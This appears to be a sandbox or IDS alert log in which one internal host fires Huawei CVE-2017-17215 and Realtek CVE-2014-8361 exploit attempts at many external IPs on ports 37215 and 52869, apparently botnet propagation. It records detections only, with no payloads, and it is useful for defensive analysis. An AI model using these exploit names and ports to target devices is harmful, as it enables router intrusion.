Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.211.69.116

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	47072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 8.190.85.240

Timestamp:	07/20/24-23:10:51.957772
SID:	2831300
Source Port:	59592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.9.58

Timestamp:	07/20/24-23:10:41.237255
SID:	2829579
Source Port:	43204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.171.35.211

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	41228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.190.120.58

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	42318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 200.10.220.119

Timestamp:	07/20/24-23:10:45.129206
SID:	2025132
Source Port:	43422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 154.174.121.129

Timestamp:	07/20/24-23:10:47.971532
SID:	2025132
Source Port:	60836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.46.101.20

Timestamp:	07/20/24-23:10:40.191614
SID:	2025132
Source Port:	46580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.174.55.60

Timestamp:	07/20/24-23:10:46.735703
SID:	2835222
Source Port:	46766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.120.250.13

Timestamp:	07/20/24-23:10:40.601389
SID:	2829579
Source Port:	43004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.54.166.57

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	38594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.156.95.26

Timestamp:	07/20/24-23:11:03.396755
SID:	2835222
Source Port:	48434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.208.47.186

Timestamp:	07/20/24-23:10:42.632104
SID:	2027339
Source Port:	36816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.73.165.184

Timestamp:	07/20/24-23:10:49.430121
SID:	2829579
Source Port:	42608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 167.160.225.22

Timestamp:	07/20/24-23:10:43.056355
SID:	2027339
Source Port:	36418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.207.150.154

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	47030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 136.207.85.124

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	45740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.12.194

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	57010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.218.237.79

Timestamp:	07/20/24-23:10:46.795245
SID:	2835222
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 12.188.91.94

Timestamp:	07/20/24-23:10:46.600005
SID:	2027339
Source Port:	43556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 113.169.82.235

Timestamp:	07/20/24-23:10:52.563890
SID:	2835222
Source Port:	51038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.55.149.13

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	45120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 129.146.5.212

Timestamp:	07/20/24-23:10:44.739577
SID:	2027339
Source Port:	55860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 57.196.110.109

Timestamp:	07/20/24-23:10:39.479427
SID:	2829579
Source Port:	41170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.79.179.243

Timestamp:	07/20/24-23:10:44.798999
SID:	2027339
Source Port:	32798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.246.30.254

Timestamp:	07/20/24-23:11:06.689939
SID:	2829579
Source Port:	52606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 137.140.74.50

Timestamp:	07/20/24-23:10:51.915608
SID:	2831300
Source Port:	47234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.237.45

Timestamp:	07/20/24-23:10:42.267551
SID:	2829579
Source Port:	39138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.183.105.217

Timestamp:	07/20/24-23:10:52.016220
SID:	2027339
Source Port:	55812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.240.225.195

Timestamp:	07/20/24-23:10:59.050850
SID:	2835222
Source Port:	33050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.98.237.187

Timestamp:	07/20/24-23:10:41.234520
SID:	2835222
Source Port:	40388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.39.42.138

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	54142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.96.72.249

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	35712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.46.35.223

Timestamp:	07/20/24-23:10:40.642616
SID:	2835222
Source Port:	55746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 132.67.102.180

Timestamp:	07/20/24-23:10:47.599583
SID:	2027339
Source Port:	35308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.80.96.21

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	47326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.208.181.41

Timestamp:	07/20/24-23:10:51.983127
SID:	2027339
Source Port:	56518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 146.67.192.198

Timestamp:	07/20/24-23:10:43.064770
SID:	2025132
Source Port:	47902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.206.169

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	55502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.16.133.91

Timestamp:	07/20/24-23:10:52.517494
SID:	2829579
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.162.123.109

Timestamp:	07/20/24-23:10:40.604940
SID:	2835222
Source Port:	47708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.31.234

Timestamp:	07/20/24-23:10:52.563890
SID:	2829579
Source Port:	33714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.128.41.176

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	49736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.152.233.155

Timestamp:	07/20/24-23:11:06.696229
SID:	2829579
Source Port:	55684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.161.254.255

Timestamp:	07/20/24-23:10:41.221769
SID:	2835222
Source Port:	45274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 91.159.64.203

Timestamp:	07/20/24-23:10:42.632104
SID:	2831300
Source Port:	57850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 1.160.86.11

Timestamp:	07/20/24-23:10:39.828524
SID:	2025132
Source Port:	46618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.52.21.44

Timestamp:	07/20/24-23:10:39.497131
SID:	2835222
Source Port:	39504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 97.164.50.55

Timestamp:	07/20/24-23:10:51.917508
SID:	2027339
Source Port:	36226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.138.33.16

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	45910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.143.106.52

Timestamp:	07/20/24-23:10:46.735703
SID:	2835222
Source Port:	57768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 74.208.48.243

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	40564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.104.176.136

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	51086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 17.198.192.63

Timestamp:	07/20/24-23:10:39.089913
SID:	2027339
Source Port:	47418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 129.202.137.125

Timestamp:	07/20/24-23:10:51.948284
SID:	2027339
Source Port:	36830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.29.68.15

Timestamp:	07/20/24-23:10:40.656564
SID:	2829579
Source Port:	43508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 132.70.73.95

Timestamp:	07/20/24-23:10:51.970945
SID:	2027339
Source Port:	34002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.208.103.195

Timestamp:	07/20/24-23:10:51.940556
SID:	2027339
Source Port:	39804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.8.173.238

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	34424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 25.93.29.118

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	42522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.114.206.140

Timestamp:	07/20/24-23:10:39.430384
SID:	2829579
Source Port:	60270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.76.73.5

Timestamp:	07/20/24-23:10:40.616009
SID:	2835222
Source Port:	60454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 208.220.26.36

Timestamp:	07/20/24-23:10:41.220792
SID:	2835222
Source Port:	34304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.192.209

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	51084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.123.35

Timestamp:	07/20/24-23:10:59.021280
SID:	2829579
Source Port:	34280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.152.172.252

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	47192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.103.253.49

Timestamp:	07/20/24-23:10:41.232384
SID:	2835222
Source Port:	50842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 68.232.135.127

Timestamp:	07/20/24-23:10:47.766015
SID:	2025132
Source Port:	35640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.59.86.95

Timestamp:	07/20/24-23:10:42.267551
SID:	2829579
Source Port:	58026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.175.146.33

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	52308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 196.232.84.109

Timestamp:	07/20/24-23:10:56.011228
SID:	2829579
Source Port:	43404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 61.39.146.236

Timestamp:	07/20/24-23:10:41.232384
SID:	2829579
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.12.49.40

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	51100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 37.21.17.204

Timestamp:	07/20/24-23:10:42.625971
SID:	2831300
Source Port:	39152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.55.119

Timestamp:	07/20/24-23:10:49.404246
SID:	2835222
Source Port:	33014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 166.167.121.109

Timestamp:	07/20/24-23:10:42.639392
SID:	2831300
Source Port:	36760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.229.194.177

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	36422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.186.57.123

Timestamp:	07/20/24-23:10:49.404246
SID:	2829579
Source Port:	37082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 206.250.243.12

Timestamp:	07/20/24-23:10:51.948284
SID:	2831300
Source Port:	36802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.171.239

Timestamp:	07/20/24-23:10:41.232384
SID:	2835222
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 96.224.29.242

Timestamp:	07/20/24-23:10:40.148951
SID:	2027339
Source Port:	47828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.41.7.220

Timestamp:	07/20/24-23:11:06.663147
SID:	2835222
Source Port:	46230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.183.119

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	41076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.49.218.96

Timestamp:	07/20/24-23:10:46.711367
SID:	2835222
Source Port:	40574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.35.196.3

Timestamp:	07/20/24-23:10:39.486941
SID:	2829579
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.135.228.141

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	38488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.125.126.1

Timestamp:	07/20/24-23:10:56.002189
SID:	2835222
Source Port:	54144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.187.86.221

Timestamp:	07/20/24-23:10:59.021280
SID:	2835222
Source Port:	56238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.88.232

Timestamp:	07/20/24-23:10:46.778936
SID:	2835222
Source Port:	51900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 95.251.22.29

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	48526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 221.199.80.98

Timestamp:	07/20/24-23:10:51.896724
SID:	2831300
Source Port:	33996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.151.76.227

Timestamp:	07/20/24-23:11:03.310024
SID:	2835222
Source Port:	59522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.244.25.122

Timestamp:	07/20/24-23:10:39.437234
SID:	2829579
Source Port:	35152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.21.128.144

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	52860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.246.66.79

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	53108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.218.146.50

Timestamp:	07/20/24-23:10:56.002190
SID:	2835222
Source Port:	46568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.216.186

Timestamp:	07/20/24-23:10:41.232384
SID:	2829579
Source Port:	38498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.118.212

Timestamp:	07/20/24-23:10:49.377081
SID:	2829579
Source Port:	43078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 12.188.91.94

Timestamp:	07/20/24-23:10:51.931701
SID:	2027339
Source Port:	45468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.252.49.118

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	47228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.170.58.184

Timestamp:	07/20/24-23:10:51.898652
SID:	2027339
Source Port:	57802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 85.126.23.91

Timestamp:	07/20/24-23:10:42.636108
SID:	2831300
Source Port:	51780
